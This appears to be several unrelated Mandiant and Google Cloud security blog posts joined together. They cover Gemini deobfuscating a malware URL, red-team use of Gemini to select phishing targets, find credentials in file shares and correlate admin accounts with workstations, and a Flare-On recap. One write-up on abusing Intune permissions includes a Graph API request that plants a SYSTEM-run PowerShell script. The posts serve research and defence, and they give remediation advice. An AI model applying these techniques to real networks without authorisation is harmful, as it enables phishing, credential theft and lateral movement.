def deobfuscate(x, y): s = list(range(256)) j = 0 k = [ord(c) for c in y] for i in range(256): j = (j + s[i] + k[i % len(k)]) % 256 s[i], s[j] = s[j], s[i] i = 0 j = 0 output = [] for m in range(len(x)): i = (i + 1) % 256 j = (j + s[i]) % 256 s[i], s[j] = s[j], s[i] output.append(x[m] ^ s[(s[i] + s[j]) % 256]) return output a = [0x25, 0x7B, 0x5A, 0xD8, 0x9C, 0xFF, 0xC3, 0xA4, 0x95, 0xB7, 0x9D, 0x6E, 0x5F, 0x4D, 0x49, 0xFB, 0x78, 0x32, 0xB8, 0x17, 0x72, 0x01, 0x31, 0xFB, 0xC0, 0x58, 0x45, 0xCB, 0x5C, 0x3C, 0xDD, 0x00, 0x60, 0x87, 0x25, 0xB2, 0x44, 0xA6, 0xC5, 0xEA, 0x71, 0xAA, 0x9D, 0xA1, 0x05, 0x5F, 0xBD, 0x41, 0x28, 0x70, 0x30, 0x6B, 0x96, 0x24, 0x92, 0xA0, 0x9D, 0x92, 0x23, 0x79, 0x69, 0x2C, 0x1B, 0x1E, 0xEB, 0x69, 0x8F, 0x04, 0x10, 0x74, 0xBC] b = "tox2" c = deobfuscate(a, b) decoded_url = "".join(chr(i) for i in c) print(decoded_url)

Google Threat Intelligence (GTI) Lookup:

The GTI lookup provides valuable context regarding the identified IOC:

• Threat Actor: UNC5687, known for using MESHAGENT in phishing campaigns impersonating the Security Service of Ukraine.

• Campaign: This specific URL is linked to a campaign spreading MESHAGENT via phishing emails with malicious links. The campaign involved a captcha page leading to the download of either a malicious MSI or EXE file.

• Malware: The campaign delivers MESHAGENT, an open-source remote access framework, configured to communicate with C2 domains linked to a service called "AnonVNC."

Conclusion:

The analyzed PowerShell script is confirmed to be malicious, associated with a phishing campaign by UNC5687 distributing the MESHAGENT remote access tool.

Gemini identified that the script employs an XOR-based obfuscation algorithm that resembles  RC4 to conceal the download URL. Recognizing this pattern, Gemini autonomously generates and executes a Python deobfuscation script within the Code Interpreter sandbox, successfully revealing the external resource.

With the URL in hand, Gemini then utilizes GTI function calling to query Google Threat Intelligence for further context. This analysis links the URL to UNC5687, a threat cluster known for using a remote access tool in phishing campaigns impersonating the Security Service of Ukraine.

As we’ve seen, the integration of these tools has strengthened Gemini’s ability to function as a malware analyst capable of adapting its approach to address obfuscation and gathering vital context on IOCs. By incorporating the Code Interpreter and GTI function calling, Gemini is better equipped to navigate complex samples by autonomously interpreting hidden elements and contextualizing external references.

While these are significant advancements, many challenges remain, especially given the vast diversity of malware and scenarios that exist in the threat landscape. We’re committed to making steady progress, and future updates will continue to enhance Gemini's capabilities, moving us closer to a more autonomous, adaptive approach in threat intelligence automation.

Written by: Matthijs Gielen, Jay Christiansen

Background

New solutions, old problems. Artificial intelligence (AI) and large language models (LLMs) are here to signal a new day in the cybersecurity world, but what does that mean for us—the attackers and defenders—and our battle to improve security through all the noise?

Data is everywhere. For most organizations, the access to security data is no longer the primary issue. Rather, it is the vast quantities of it, the noise in it, and the disjointed and spread-out nature of it. Understanding and making sense of it—THAT is the real challenge.

When we conduct adversarial emulation (red team) engagements, making sense of all the network, user, and domain data available to us is how we find the path forward. From a defensive perspective, efficiently finding the sharpest and most dangerous needles in the haystack—for example, easily accessible credentials on fileshares—is how we prioritize, improve, and defend.

How do you make sense of this vast amount of structured and unstructured data, and give yourself the advantage?

Data permeates the modern organization. This data can be challenging to parse, process, and understand from a security implication perspective, but AI might just change all that.

This blog post will focus on a number of case studies where we obtained data during our complex adversarial emulation engagements with our global clients, and how we innovated using AI and LLM systems to process this into structured data that could be used to better defend organizations. We will showcase the lessons learned and key takeaways for all organizations and highlight other problems that can be solved with this approach for both red and blue teams.

Approach

Data parsing and understanding is one of the biggest early benefits of AI. We have seen many situations where AI can help process data at a fast rate. Throughout this post, we use an LLM to process unstructured data, meaning that the data did not have a structure or format that we knew about before parsing the data.

If you want to try these examples out yourself, please make sure you use either a local model, or you have permission to send the data to an external service.

Getting Structured Data Out of an LLM

Step one is to get the data into a format we can use. If you ever used an LLM, you will have noticed it will output as a story or prose text, especially if you use chat-based versions. For a lot of use cases, this is fine; however, we want to analyze the data and get structured data. Thus, the first problem we have to solve is to get the LLM to output the data in a format we can specify. The simple method is to ask the LLM to output the data in a machine readable format like JSON, XML, or CSV. However, you will quickly notice that you have to be quite specific with the data format, and the LLM can easily output data in another format, ignoring your instructions.

Luckily for us, other people have encountered this problem and have solved it with something called Guardrails. One of the projects we have found is called guardrails-ai. It is a Python library that allows you to create guardrails—specific requirements—for a model based on Pydantic.

To illustrate, take a simple Python class from the documentation to validate a pet from the output of the LLM:

from pydantic import BaseModel, Field class Pet(BaseModel): pet_type: str = Field(description="Species of pet") name: str = Field(description="a unique pet name")

You can use the next code from the Guardrails documentation to process the output of the LLM into a structured object:

from guardrails import Guard import openai prompt = """ What kind of pet should I get and what should I name it? ${gr.complete_json_suffix_v2} """ guard = Guard.from_pydantic(output_class=Pet, prompt=prompt) raw_output, validated_output, *rest = guard( llm_api=openai.completions.create, engine="gpt-3.5-turbo-instruct" ) print(validated_output)

If we look at what this library generates underwater for this prompt, we see that it adds a structured object part with the instructions for the LLM to output data in a specific way. This streamlines the way you can get structured data from an LLM.

Figure 1: The generated prompt from the Pydantic model

For the next use case, we will show the Pydantic models we've created to process the output.

Red Team Use Cases

The next sections contain some use cases where we can use an LLM to get structured data out of data obtained. The use cases are divided into three categories of the attack lifecycle: 

• Initial Reconnaissance

• Escalate Privileges

• Internal Reconnaissance

Figure 2: Attack lifecycle

Initial Reconnaissance

Open Source Intelligence (OSINT) is an important part of red teaming. It includes gathering data about the target organization from news articles, social media, and corporate reports.

This information can then be used in other red team phases such as during phishing. For defenders, it helps them understand which parts of their organization are exposed to the internet, anticipating a possible future attack. In the next use case, we talk about processing social media information to process roles and extract useful information.

Use Case 1: Social Media Job Functions Information

During OSINT, we often try to get information from employees about their function in their company. This helps with performing phishing attacks, as we do not want to target IT professionals, especially those that work in cybersecurity.

Social media sites allow their users to write about their job titles in a free format. This means that the information is unstructured and can be written in any language and any format.

We can try to extract the information from the title with simple matches; however, because the users can fill in anything and in any language, this problem can be better solved with an LLM.

Data Model

First, we create a Pydantic model for the Guardrail:

class RoleOutput(BaseModel): role: str = Field(description="Role being analyzed") it: bool = Field(description="The role is related to IT") cybersecurity: bool = Field(description="The role is related to CyberSecurity") experience_level: str = Field( description="Experience level of the role.", )

This model has two Boolean options if the role is IT or cybersecurity related. Additionally, we would like to know the experience level of the role.

Prompt

Next, let's create a prompt to instruct the LLM to extract the requested information from the role. This prompt is quite simple and just asks the LLM to fill in the data.

Given the following role, answer the following questions. If the answer doesn't exist in the role, enter ``. ${role} ${gr.complete_xml_suffix_v2}

The two last lines are placeholders used by guardrails-ai.

Results

To test the models, we have scraped the titles that employees use on social media. This dataset contained the titles that the employees used and contained 235 entries. For testing, we used the gemini-1.0-pro model.

Gemini managed to parse 232 entries. The results are shown in Table 1.

 

Not IT

IT

Cybersecurity

Gemini

183

49

5

Manual evaluation
by a red team operator

185

47

5

False positive

1

3

0

Table 1: Results of Gemini parsing 232 job title entries

In the end, Gemini processed the roles quite on par with a human. Most of the false positives were questionable because it is not very clear if the role was actually IT related. The experience level did not perform well, as the model deemed the experience level as "unknown" or "none" for most of the entries. To resolve this issue, the field was changed so that the experience level should be a number from 1 to 10. After running the analysis again, this yielded better results for the experience level. The lowest experience levels (1–4) contained function titles like "intern," "specialist," or "assistant." This usually indicated that the person had been employed at that role for a shorter period of time. The updated data model is shown as follows:

class RoleOutput(BaseModel): role: str = Field(description="Role being analyzed") it: bool = Field(description="The role is related to IT") cybersecurity: bool = Field(description="The role is related to CyberSecurity") experience_level: int = Field( description="Estimate of the experience level of the role on a scale of 1-10. Where 1 is low experience and 10 is high.", )

This approach helped us to sort through a large dataset of phishing targets by identifying employees that did not have IT and cybersecurity roles, and sorting them by experience level. This can speed up target selection for large organizations and may allow us to better emulate attackers by changing the prompts or selection criteria. To defend against this, data analysis is more difficult. In theory, you can instruct all your employees to include "Cybersecurity" in their role, but that does not scale well or solve the underlying phishing problem. The best approach with regards to phishing is, in our experience, to invest into phishing resistant multifactor authentication (MFA) and application allowlisting. If applied well, these solutions can mitigate phishing attacks as an initial access vector.

Escalate Privileges

Once attackers establish a foothold into an organization, one of their first acts is often to improve their level of access or control through privilege escalation. There are quite a few methods that can be used for this. It comes in a local system-based variety as well as wider domain-wide types, with some based on exploits or misconfigurations, and others based on finding sensitive information when searching through files.

Our focus will be on the final aspect, which aligns with our challenge of identifying the desired information within the vast amount of data, like finding a needle in a haystack.

Use Case 2: Credentials in Files

After gaining initial access to the target network, one of the more common enumeration methods employed by attackers is to perform share enumeration and try to locate interesting files. There are quite a few tools that can do this, such as Snaffler.

After you identify files that potentially contain credentials, you can go through them manually to find useful ones. However, if you do this in a large organization, there is a chance that you will have hundreds to thousands of hits. In that case, there are some tools that can help with finding and classifying credentials like TruffleHog and Nosey Parker. Additionally, the Python library detect-secrets can help with this task. 

Most of these tools look for common patterns or file types that they understand. To cover unknown file types or credentials in emails or other formats, it might instead be valuable to use an LLM to analyze the files to find any unknown or unrecognized formats.

Technically, we can just run all tools and use a linear regression model to combine the results into one. An anonymized example of a file with a password that we encountered during our tests is shown as follows:

@Echo Off Net Use /Del * /Yes Set /p Path=<"path.txt" Net Use %Path% Welcome01@ /User:CHAOS.LOCAL\WorkstationAdmin If Not Exist "C:\Data" MKDIR "C:\Data" Copy %Path%\. C:\Data Timeout 02 Data Model

We used the following Python classes to instruct Gemini to retrieve credentials with an optional domain. One file can contain multiple credentials, so we use a list of credentials to instruct Gemini to optionally retrieve multiple credentials from one file.

class Credential(BaseModel): password: str = Field(description="Potential password of an account") username: str = Field(description="Potential username of an account") domain: Optional[str] = Field( description="Optional domain of an account", default="" ) class ListOfCredentials(BaseModel): credentials: list[Credential] = [] Prompt

In the prompt, we give some examples of what kind of systems we are looking for, and output into JSON once again:

Given the following file, check if there are credentials in the file. Only include results if there is at least one username and password. If the domain doesn't exist in the file, enter `` as a default value. ${file} ${gr.complete_xml_suffix_v2} Results

We tested on 600 files, where 304 contain credentials and 296 do not. Testing occurred with the gemini-1.5 model. Each file took about five seconds to process.

To compare results with other tools, we also tested Nosey Parker and TruffleHog. Both NoseyParker and Truffle Hog are made to find credentials in a structured way in files, including repositories. Their use case is usually for known file formats and randomly structured files.

The results are summarized in Table 2.

Tool

True Negative

False Positive

False Negative

True Positive

Nosey Parker

284 (47%)

12 (2%)

136 (23%)

168 (28%)

TruffleHog

294 (49%)

2 (<1%)

180 (30%)

124 (21%)

Gemini

278 (46%)

18 (3%)

23 (4%)

281 (47%)

Table 2: Results of testing for credentials in files, where 304 contain them and 296 do not

In this context, the definitions of true negative, false positive, false negative, and true positive are as follows:

• True Negative: A file does not contain any credentials, and the tool correctly indicates that there are no credentials.

• False Positive: The tool incorrectly indicates that a file contains credentials when it does not.

• False Negative: The tool incorrectly indicates that a file does not contain any credentials when it does.

• True Positive: The tool correctly indicates that a file contains credentials.

In conclusion, Gemini finds the most files with credentials, at a cost of a slightly higher false positive rate. TruffleHog has the lowest false positive rate, but also finds the least amount of true positives. This is to be expected, as a higher true positive rate usually is accompanied by a higher false positive rate. The current dataset has almost an equal number of files with and without credentials—in real-world scenarios this ratio can differ wildly, which means that the false positive rate is still important even though the percentages are quite close.

To optimize this approach, you can use all three tools, combine the output signals to a single signal, and then sort the potential files based on this combined signal.

Defenders can, and should, use the same techniques previously described to enumerate the internal file shares and remove or limit access to files that contain credentials. Make sure to check what file shares each server and workstation exposes to the network, because in some cases file shares are exposed accidentally or were forgotten about.

Internal Reconnaissance

When attackers have gained a better position in the network, the next step in their playbooks is understanding the domain in which they have landed so they can construct a path to their ultimate goal. This could be full domain control or access to specific systems or users, depending on the threat actor's mission. From a red team perspective, we need to be able to emulate this. From a defender's perspective, we need to find these paths before the attackers exploit them.

The main tool that red teamers use to analyze Active Directory is BloodHound, which uses a graph database to find paths in the Active Directory. BloodHound is executed in two steps. First, an ingester retrieves the data from the target Active Directory. Second, this data is ingested and analyzed by BloodHound to find attack paths.

Some tools that can gather data to be used in BloodHound are:

• Sharphound

• Bloodhound.py

• Rusthound

• Adexplorer

• Bofhound

• Soaphound

These tools gather data from the Active Directory and other systems and output it in a format that BloodHound can read. In theory, if we have all the information about the network in the graph, then we can just query the graph to figure out how to achieve our objective.

To improve the data in BloodHound, we have thought of additional use cases. Use Case 3 is about finding high-value systems. Discovering more hidden edges in BloodHound is part of Use Case 4 and Use Case 5.

Use Case 3: High-Value Target Detection in Active Directory

By default, BloodHound deems some groups and computers as high value. One of the main activities in internal reconnaissance is figuring out which systems in the client's network are high-value targets. Some examples of systems that we are interested in, and that can lead to domain compromise, are:

• Backup systems

• SCCM

• Certificate services

• Exchange

• WSUS systems

There are many ways to indicate which servers are used for a certain function, and it depends on how the IT administrators have configured it in their domain. There are some fields that may contain data in various forms to indicate what the system is used for. This is a prime example of unstructured data that might be analyzable with an LLM.

The following fields in the Active Directory might contain the relevant information:

• Name

• Samaccountname

• Description

• Distinguishedname

• SPNs

Data Model

In the end, we would like to have a list of names of the systems the LLM has deemed high value. During development, we noticed that LLM results improved dramatically if you asked it to specify a reason. Thus, our Pydantic model looks like this:

class HighValueSystem(BaseModel): name: str = Field(description="Name of this system") reason: str = Field(description="Reason why this system is high value", default="") class HighValueResults(BaseModel): systems: list[HighValueSystem] = Field(description="high value systems", default=[]) Prompt

In the prompt, we give some examples of what kind of systems we are looking for:

Given the data, identify which systems are high value targets, look for: sccm servers, jump systems, certificate systems, backup systems and other valuable systems. Use the first (name) field to identify the systems. Results

We tested this prompt on a dataset of 400 systems and executed it five times. All systems were sent in one query to the model. To accommodate this, we used the gemini-1.5 model because it has a huge context window. Here are some examples of reasons Gemini provided, and what we think the reason was based off:

• Domain controller: Looks like this was based on the "OU=Domain Controllers" distinguishedname field of BloodHound

• Jumpbox: Based on the "OU=Jumpboxes,OU=Bastion Servers" distinguishedname

• Lansweeper: Based on the description field of the computer

• Backup Server: Based on "OU=Backup Servers" distinguishedname

Some of the high-value targets are valid yet already known, like domain controllers. Others are good finds, like the jumpbox and backup servers. This method can process system names in other languages and more verbose descriptions of systems to determine systems that may be high value. Additionally, this method can be adapted to allow for a more specific query—for example, that might suit a different client environment:

Given the data, identify which systems are related to SWIFT. Use the first (name) field to identify the systems.

In this case, the LLM will look for SWIFT servers and may save you some time searching for it manually. This approach can potentially be even better when you combine this data with internal documentation to give you results, even if the Active Directory information is lacking any information about the usage of the system.

For defenders, there are some ways to deal with this situation:

• Limit the amount of information in the Active Directory and put the system descriptions in your documentation instead of within the Active Directory

• Limit the amount of information a regular user can retrieve from the Active Directory

• Monitor LDAP queries to see if a large amount of data is being retrieved from LDAP

Use Case 4: User Clustering

After gaining an initial strong position, and understanding the systems in the network, attackers will often need to find the right users to compromise to gain further privileges in the domain. For defenders, legacy user accounts or administrators with too many rights is a common security issue.

Administrators often have multiple user accounts: one for normal operations like reading email and using it on their workstations, and one or multiple administrator accounts. This separation is done to make it harder for attackers to compromise the administrator account.

There are some common flaws in the implementations that sometimes make it possible to bypass these separations. Most of the methods require the attacker to cluster the users together to see which accounts belong to the same employee. In many cases, this can be done by inspecting the Active Directory objects and searching for patterns in the display name, description, or other fields. To automate this, we tried to find these patterns with Gemini.

Data Model

For this use case, we would like to have the account's names that Gemini clusters together. During initial testing, the results were quite random. However, after adding a "reason" field, the results improved dramatically. So we used the next Pydantic model:

class User(BaseModel): accounts: list[Account] = Field( description="accounts that probably belongs to this user", default=[] ) reason: str = Field( description="Reason why these accounts belong to this user", default="" ) class UserAccountResults(BaseModel): users: list[User] = Field(description="users with multiple accounts", default=[]) Prompt

In the prompt, we give some examples of what kind of systems we are looking for:

Given the data, cluster the accounts that belong to a single person by checking for similarities in the name, displayname and sam. Only include results that are likely to be the same user. Only include results when there is a user with multiple accounts. It is possible that a user has more than two accounts. Please specify a reason why those accounts belong to the same user. Use the first (name) field to identify the accounts. Results

The test dataset had about 900 users. We manually determined that some users have two to four accounts with various permissions. Some of these accounts had the same pattern like "[email protected]" and "[email protected]." However, other accounts had patterns where the admin account was based on the first couple of letters. For example, their main account had the pattern [email protected], and the admin account was named: [email protected]. To keep track of those accounts, the description of the admin account contained some text similar to "admin account of Matthijs Gielen." 

With this prompt, Gemini managed to cluster 50 groups of accounts in our dataset. After manual verification, some of the results were discarded because they only contained one account in the cluster. This resulted in 43 correct clusters of accounts. Manually, we found the same correlation; however, where Gemini managed to output this information in a couple of minutes, manually this took quite a bit longer to analyze and correlate all accounts. This information was used in preparation for further attacks, as shown in the next use case.

Use Case 5: Correlation Between Users and Their Machines

Knowing which users to target or defend is often not enough. We also need to find them within the network in order to compromise them. Domain administrators are (usually) physical people; they need somewhere to type in their commands and perform administrative actions. This means that we need to correlate which domain administrator is working from which workstation. This is called session information, and BloodHound uses this information in an edge called "HasSession."

In the past, it was possible to get all session information with a regular user during red teaming.

Using the technique in Use Case 4, we can correlate the different user accounts that one employee may have. The next step is to figure out which workstation belongs to that employee. Then we can target that workstation, and from there, hopefully recover the passwords of their administrator accounts.

In this case, employees have corporate laptops, and the company needs to keep track of which laptop belongs to which employee. Often this information is stored in one of the fields of the computer object in the Active Directory. However, there are many ways to do this, and using Gemini to parse the unstructured data is one such example.

Data Model

This model is quite simple, we just want to correlate machines to their users and have Gemini give us a reason why—to improve the output of the model. Because we will send all users and all computers at once, we will need a list of results.

class UserComputerCorrelation(BaseModel): user: str = Field(description="name of the user") computer: str = Field(description="name of the computer") reason: str = Field( description="Reason why these accounts belong to this user", default="" ) class CorrelationResults(BaseModel): results: list[UserComputerCorrelation] = Field( description="users and computers that correlate", default=[] ) Prompt

In the prompt, we give some examples of what kind of systems we are looking for:

Given the two data sets, find the computer that correlates to a user by checking for similarities in the name, displayname and sam. Only include results that are likely to correspond. Please specify a reason why that user and computer correlates. Use the first (name) field to identify the users and computers. Results

The dataset used contains around 900 users and 400 computers. During the assignment, we determined that the administrators correlated users and their machines via the description field of the computer, which was sort of equal to the display name of the user. Gemini correctly picked up this connection, correctly correlating around 120 users to their respective laptops (Figure 3).

Figure 3: Connections between user and laptop as correlated by Gemini

Gemini helped us to select an appropriate workstation, which enabled us to perform lateral movement to a workstation and obtain the password of an administrator, getting us closer to our goal.

To defend against these threats, it can be valuable to run tools like BloodHound in the network. As discussed, BloodHound might not find all the "hidden" edges in your network, but you can add these yourself to the graph. This will allow you to find more Active Directory-based attack paths that are possible in your network and mitigate these before an attacker has an opportunity to exploit those attack paths.

Conclusion

In this blog post, we looked at processing red team data using LLMs to aid in adversarial emulation or improving defenses. These use cases were related to processing human-generated, unstructured data. Table 3 summarizes the results.

Use Case

Accuracy of the Results

Usefulness

Roles

High: There were a few false positives that were in the gray area.

High: Especially when going through a large list of roles of users, this approach will provide fairly fast results.

Credentials in files

High: Found more credentials than comparable tools. More testing should look into the false-positive rate in real scenarios.

Medium: This approach finds a lot more results; however, processing it with Gemini is a lot slower (five seconds per file) than many other alternatives.

High-value targets

Medium: Not all results were new, nor were all high-value targets.

Medium: Some of the results were useful; however, all of them still require manual verification.

Account clustering

High: After taking into account the clusters with one account, the other ones were well clustered.

High: Clustering users is most of the time a tedious process to do manually. It gives fairly reliable results if you filter out the results with only one account.

Computer correlation

High: All results were correctly correlated users to their computers.

High: This approach produces accurate results potentially providing insights into extra possible attack paths.

Table 3: The results of our experiments of data processing with Gemini

As the results show, using an LLM like Gemini can help in converting this type of data into structured data to aid attackers and defenders. However, keep in mind that LLMs are not a silver bullet and have limitations. For example, they can sometimes produce false positives or be slow to process large amounts of data.

There are quite a few use cases we have not covered in this blog post. Some other examples where you can use this approach are:

• Correlating user groups to administrator privileges on workstations and servers

• Summarizing internal website content or documentation to search for target systems

• Ingesting documentation to generate password candidates for cracking passwords

The Future

This was just an initial step that we on the Advanced Capabilities team on the Mandiant Red Team have explored so far when using LLMs for adversarial emulation and defense. For next steps, we know that the models and prompts can be improved by testing variations in the prompts, and other data sources can be investigated to see if Gemini can help analyze them. We are also looking at using linear regression models as well as clustering and pathfinding algorithms to enable cybersecurity practitioners to quickly evaluate attack paths that may exist in a network.

Every November, we start sharing forward-looking insights on threats and other cybersecurity topics to help organizations and defenders prepare for the year ahead. The Cybersecurity Forecast 2025 report, available today, plays a big role in helping us accomplish this mission.

This year’s report draws on insights directly from Google Cloud's security leaders, as well as dozens of analysts, researchers, responders, reverse engineers, and other experts on the frontlines of the latest and largest attacks. 

aside_block

<ListValue: [StructValue([('title', 'Cybersecurity Forecast 2025'), ('body', <wagtail.rich_text.RichText object at 0x3e886e6c33a0>), ('btn_text', 'Download now'), ('href', 'https://cloud.google.com/security/resources/cybersecurity-forecast?utm_source=cgc-blog&utm_medium=blog&utm_campaign=FY24-Q4-global-MAND1370-website-dl-dgcsm-security-forecast-2025&utm_content=cgc-blog&utm_term=-'), ('image', <GAEImage: Cybersecurity Forecast 2025 cover>)])]>

Key Threat Findings

Built on trends we are already seeing today, the Cybersecurity Forecast 2025 report provides a realistic outlook of what organizations can expect to face in the coming year. The report covers a lot of topics across all of cybersecurity, with a focus on various threats such as:

• Attacker Use of Artificial Intelligence (AI): Threat actors will increasingly use AI for sophisticated phishing, vishing, and social engineering attacks. They will also leverage deepfakes for identity theft, fraud, and bypassing security measures.

• AI for Information Operations (IO): IO actors will use AI to scale content creation, produce more persuasive content, and enhance inauthentic personas.

• The Big Four: Russia, China, Iran, and North Korea will remain active, engaging in espionage operations, cyber crime, and information operations aligned with their geopolitical interests.

• Ransomware and Multifaceted Extortion: Ransomware and multifaceted extortion will continue to be the most disruptive form of cyber crime, impacting various sectors and countries.

• Infostealer Malware: Infostealer malware will continue to be a major threat, enabling data breaches and account compromises.

• Democratization of Cyber Capabilities: Increased access to tools and services will lower barriers to entry for less-skilled actors.

• Compromised Identities: Compromised identities in hybrid environments will pose significant risks.

• Web3 and Crypto Heists: Web3 and cryptocurrency organizations will increasingly be targeted by attackers seeking to steal digital assets.

• Faster Exploitation and More Vendors Targeted: The time to exploit vulnerabilities will continue to decrease, and the range of targeted vendors will expand.

Be Prepared for 2025

Read the Cybersecurity Forecast 2025 report for a more in-depth look at these and other threats, as well as other security topics such as post-quantum cryptography, and insights unique to the JAPAC and EMEA regions. 

For an even deeper look at the threat landscape next year, register for our Cybersecurity Forecast 2025 webinar, which will be hosted once again by threat expert Andrew Kopcienski.

For even more insights, hear directly from our security leaders: Charles Carmakal, Sandra Joyce, Sunil Potti, and Phil Venables.

Written by: Nick Harbour

The eleventh Flare-On challenge is now over! This year proved to be a tough challenge for the over 5,300 players, with only 275 completing all 10 stages. We had a blast making this contest and are happy to see it continue to be a world-wide phenomenon. Those that finished all stages this year may be eligible to receive this elite desk trophy to the envy of your coworkers and family.

We would like to thank the challenge authors individually for their great puzzles and solutions:

1. frog - Nick Harbour (@nickharbour)

2. checksum - Chuong Dong (@cPeterr)

3. aray - Jakub Jozwiak

4. FLARE Meme Maker 3000 - Moritz Raabe (@m_r_tz)

5. sshd - Christopher Gardner (@t00manybananas)

6. bloke2 - Dave Riley (@6502_ftw)

7. fullspeed - Sam Kim

8. Clearly Fake - Blas Kojusner (@bkojusner)

9. serpentine - Mustafa Nasser (@d35ha)

10. CATBERT Ransomware - Mark Lechtik (@_marklech_)

This year’s challenge hosted 5,324 registered users, with 3,066 of them solving at least one stage. The difficulty curve ended up smoother than last year’s, with a nice progression of people falling off at stages 5, 7, and 9. Coincidentally, based on finisher feedback those were also the consensus favorite challenges this year. Does that mean we should up the difficulty next time?

Last year Germany was far out ahead of the leaderboard with 19 finishers to 2nd place Singapore’s 15. This year Vietnam takes the lead with 21 finishers and the USA comes in second with 20.

All the binaries from this year’s challenge are now posted on the Flare-On website. Here are the solutions written by each challenge author:

1. SOLUTION #1
2. SOLUTION #2
3. SOLUTION #3
4. SOLUTION #4
5. SOLUTION #5
6. SOLUTION #6
7. SOLUTION #7
8. SOLUTION #8
9. SOLUTION #9
10. SOLUTION #10

Written by: Thibault Van Geluwe de Berlaere, Karl Madden, Corné de Jong

The Mandiant Red Team recently supported a client to visualize the possible impact of a compromise by an advanced threat actor. During the assessment, Mandiant moved laterally from the customer’s on-premises environment to their Microsoft Entra ID tenant and obtained privileges to compromise existing Entra ID service principals installed in the tenant. 

In this blog post, we will show a novel way of how adversaries can move laterally and elevate privileges within Microsoft Entra ID when organizations use a popular security architecture involving Intune-managed Privileged Access Workstations (PAWs) by abusing Intune permissions (DeviceManagementConfiguration.ReadWrite.All) granted to Entra ID service principals. We also provide remediation steps and recommendations to prevent and detect this type of attack.

Pretext

The customer had a mature security architecture following Microsoft’s recommended Enterprise Access model, including:

• An on-premises environment using Active Directory, following the Tiered Model. 

• An Entra ID environment, synced to the on-premises environment using Microsoft Entra Connect Sync to synchronize on-premises identities and groups to Entra ID. This environment was administered using PAWs, which were not joined to the on-premises Active Directory environment, but instead were fully cloud-native and managed by Intune Mobile Device Management (MDM). IT administrators used a dedicated, cloud-native (non-synced) administrative account to log in to these systems. Entra ID role assignments (Global Administrator, Privileged Role Administrator, et cetera.) were exclusively assigned to these cloud-native administrative accounts.

The separation of administrative accounts, devices and privileges between the on-premises environment and the Entra ID environment provided a strong security boundary:

1. Using separate, cloud-native identities for Entra ID privileged roles ensures a compromise of the on-premises Active Directory cannot be used to compromise the Entra ID environment. This is a Microsoft best practice.

2. Using separate physical workstations for administrative access to on-premises resources and cloud resources effectively creates an ‘air gap’ between the administration plane of the two environments. Air gaps are especially difficult for attackers to cross.

3. The administrative accounts in Entra ID were assigned roles through Privileged Identity Management enforced by strong Conditional Access policies, requiring a managed, compliant device and multi-factor authentication. These are also Microsoft-recommended best practices.

Attack Path

As part of the assessment objectives, the Mandiant Red Team was tasked with obtaining Global Administrator privileges in the Entra ID tenant. Through various techniques out of scope for this blog post, Mandiant obtained privileges in the Entra ID tenant to add credentials to Entra ID service principals (microsoft.directory/servicePrincipals/credentials/update), allowing the Red Team to compromise any preinstalled service principal.

A few publicly known techniques exist to abuse service principal privileges to obtain elevated permissions, most notably using the RoleManagement.ReadWrite.Directory, AppRoleAssignment.ReadWrite.All and Application.ReadWrite.All Microsoft Graph permissions. 

None of these permissions were in use in the customer’s environment though, forcing the Mandiant Red Team to rethink their strategy. 

Mandiant used the excellent ROADTools framework to gain further insight into the customer’s Entra ID environment, and discovered a service principal that was granted the DeviceManagementConfiguration.ReadWrite.All permission.

Figure 1: Service principal was granted DeviceManagementConfiguration.ReadWrite.All permissions (screenshot from ROADTools)

This permission allows the service principal to "read and write Microsoft Intune device configuration and policies".

Intune’s device management scripts are custom PowerShell scripts that can run on clients running Windows 10 and later. The ability to run scripts on local devices gives administrators an alternative to configuring devices with settings that are not available under the configuration policies or in the apps part of Intune. Management scripts are executed when the device starts, with administrative privileges (NT AUTHORITY\SYSTEM).

Figure 2: Intune management scripts are executed at startup

The DeviceManagementConfiguration.ReadWrite.All permission is sufficient to list, read, create and update management scripts through the Microsoft Graph API.

Figure 3: Device management scripts can be modified with DeviceManagementConfiguration.ReadWrite.All

The management script can easily be created or modified using the Microsoft Graph API. The following figure shows an example HTTP request to modify an existing script.

PATCH https://graph.microsoft.com/beta/deviceManagement/ deviceManagementScripts/<script id> { "@odata.type": "#microsoft.graph.deviceManagementScript", "displayName": "<display name>", "description": "<description>", "scriptContent": "<PowerShell script in base64 encoding>", "runAsAccount": "system", "enforceSignatureCheck": false, "fileName": "<filename>", "roleScopeTagIds": [ "<existing role scope tags>" ], "runAs32Bit": false }

The Graph API allows the caller to specify the PowerShell script content in Base64-encoded value, along with a display name, file name and description. The runAsAccount value can be configured as user or system, depending on the principal the script should be executed as. The roleScopeTagIds value references Scope Tags, an Intune mechanism that groups devices and users together. These can also be created and managed with the DeviceManagementConfiguration.ReadWrite.All permission. 

The DeviceManagementConfiguration.ReadWrite.All permission allowed Mandiant to move laterally to the PAWs used for Entra ID administration by modifying an existing device management script to execute a Mandiant-controlled PowerShell script. When the device reboots as part of the user’s daily work, the Intune management script is triggered and executes the malicious script. 

By launching a command-and-control implant, Mandiant could execute arbitrary commands on the PAWs. The Red Team waited for the victim to activate their privileged role through Azure Privileged Identity Management and impersonated the privileged account (e.g., through cookie or token theft), thereby obtaining privileged access to Entra ID. These steps allowed Mandiant to obtain Global Administrator privileges in Entra ID, completing the objective of this assessment.

Remediation and Recommendations

Mandiant recommends the following hardening recommendations to prevent the attack scenario:

1. Review your organization’s security principals for the DeviceManagementConfiguration.ReadWrite.All permission: Organizations using Microsoft Intune for device management should treat the DeviceManagementConfiguration.ReadWrite.All permission as sensitive, as it gives the trustee a control relationship over the Intune-managed devices, and by extension, any identities associated with the device.
   
   Mandiant recommends organizations to regularly review the permissions granted to Azure service principals, paying special attention to the DeviceManagementConfiguration.ReadWrite.All permission, as well as other sensitive permissions (e.g., RoleManagement.ReadWrite.Directory, AppRoleAssignment.ReadWrite.All and Application.ReadWrite.All).
   
   Organizations that use Intune to manage PAWs should be especially careful delegating Intune privileges (either through DeviceManagementConfiguration.ReadWrite.All or through Entra roles such as Intune Role Administrator).

2. Enable multiple admin approval for Intune: Intune supports using Access Policies to require a second administrator to approve any changes before a change is applied. This would prevent an attacker from creating or modifying management scripts with a single compromised account.

3. Consider enabling Microsoft Graph API activity logs: Enablement of Graph API Activity logs can help in detection and response endeavors providing detailed information about Graph API HTTP requests made to Microsoft Graph resources.

4. Utilize capabilities provided by Workload ID Premium licenses: When licensed for Workload-ID Premium Mandiant recommends leveraging these capabilities to:

   • Restrict privileged service principal usage from known trusted locations only. This limits the risk of unauthorized access and strengthens security by ensuring the use only from trusted locations. 
